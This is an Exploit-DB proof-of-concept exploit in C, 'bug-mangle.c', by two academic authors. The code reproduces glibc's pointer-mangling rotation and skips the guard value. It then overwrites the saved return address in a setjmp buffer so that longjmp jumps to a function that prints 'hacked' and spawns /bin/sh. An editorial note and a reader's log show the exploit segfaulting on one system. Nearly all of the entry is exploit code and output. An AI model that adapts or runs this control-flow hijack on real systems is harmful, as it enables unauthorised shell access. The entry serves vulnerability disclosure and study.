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/* * * Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry. * * $FILE: bug-mangle.c * * Comment: Proof of concept * * $VERSION$ * * Author: Hector Marco <hecmargi@upv.es> * Ismael Ripoll <iripoll@disca.upv.es> * * $LICENSE: * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include <stdio.h> #include <setjmp.h> #include <stdint.h> #include <limits.h> #ifdef __i386__ #define ROTATE 0x9 #define PC_ENV_OFFSET 0x14 #elif __x86_64__ #define ROTATE 0x11 #define PC_ENV_OFFSET 0x38 #else #error The exploit does not support this architecture #endif unsigned long rol(uintptr_t value) { return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE)); } int hacked(){ printf("[+] hacked !!\n"); system("/bin/sh"); } int main(void){ jmp_buf env; uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET); printf("[+] Exploiting ...\n"); if(setjmp(env) == 1){ printf("[-] Exploit failed.\n"); return 0; } /*Overwrie env return address */ *ptr_ret_env = rol((uintptr_t)hacked); longjmp(env, 1); printf("[-] Exploit failed.\n"); return 0; } #################################################################################################################### # # Reader submitted results /* [522] user@his-system ~ $ ./POC [+] Exploiting ... Segmentation fault [523] user@his-system ~ $ ldd POC linux-vdso.so.1 => (0x00007fffab5fd000) libc.so.6 => /lib64/libc.so.6 (0x0000003269800000) /lib64/ld-linux-x86-64.so.2 (0x0000003269400000) [525] user@his-system ~ $ uname -a Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux [526] user@his-system ~ $ [526] user@his-system ~ $ grep vsys /proc/self/maps ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall] ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall] */ |
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